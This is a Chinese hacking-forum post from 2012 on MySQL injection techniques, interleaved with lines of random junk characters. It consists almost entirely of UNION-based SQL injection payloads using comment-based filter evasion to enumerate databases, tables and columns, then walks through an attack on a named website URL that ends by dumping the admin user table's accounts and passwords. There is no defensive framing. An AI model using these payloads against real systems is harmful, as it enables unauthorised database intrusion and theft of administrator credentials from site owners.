中国网络渗透测试联盟
标题:
mysql注入技巧
[打印本页]
作者:
admin
时间:
2012-9-13 16:29
标题:
mysql注入技巧
查库
' e! o" R! k2 M) K# C3 s" J# s- P0 B
1 S2 ~ o/ ~% D: D) \6 H. `. F
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
! M" R6 M. t, s
& P: S/ m$ D, ]
查表
( ]) @7 f* c6 T! k
/ H- I: p$ c8 J
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
* d6 y5 l) d5 |4 g }( c% W
1 l( F8 ]% I7 O2 o& U0 Y4 @, S6 f
查段
( Y3 }! W+ w8 c; H W- D
0 U! d5 s1 W- \5 R6 P
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
" @8 @( ^! ]) Q7 e( \+ C# n
. g4 e/ [3 `5 [) d3 t
i$ u1 @3 N+ o$ j+ P- @
mysql5高级注入方法暴表
! N7 @% j. b p+ q! D
; |7 N' D) o; v
例子如下:
& n0 ^: \7 x$ v3 [& H
( Z" M" i8 u t) X& m
1.爆表
4 I; T8 l3 y6 P& K; ]
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
' v8 D' I, a+ y1 V
这样爆到第4个时出现了admin_user表。
7 \ a$ w1 I5 G' _7 z& E
6 R: Y y4 \ D h+ X8 h
2.暴字段
3 c4 x$ x3 q! R: l$ j8 z( ~
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
' C1 d3 h$ N' @7 ?+ f0 `
' H1 C+ P2 l8 a4 l
! b2 E0 g/ X5 L D9 y# S7 N% U% o
3.爆密码
1 B4 \9 G9 v7 r- c8 u `
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
7 S7 d. j: w3 F/ d1 `
: E- P: p. ^5 s% a. _2 Q+ M6 ]
' E" H. V2 k4 _6 y1 X- ^9 j
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2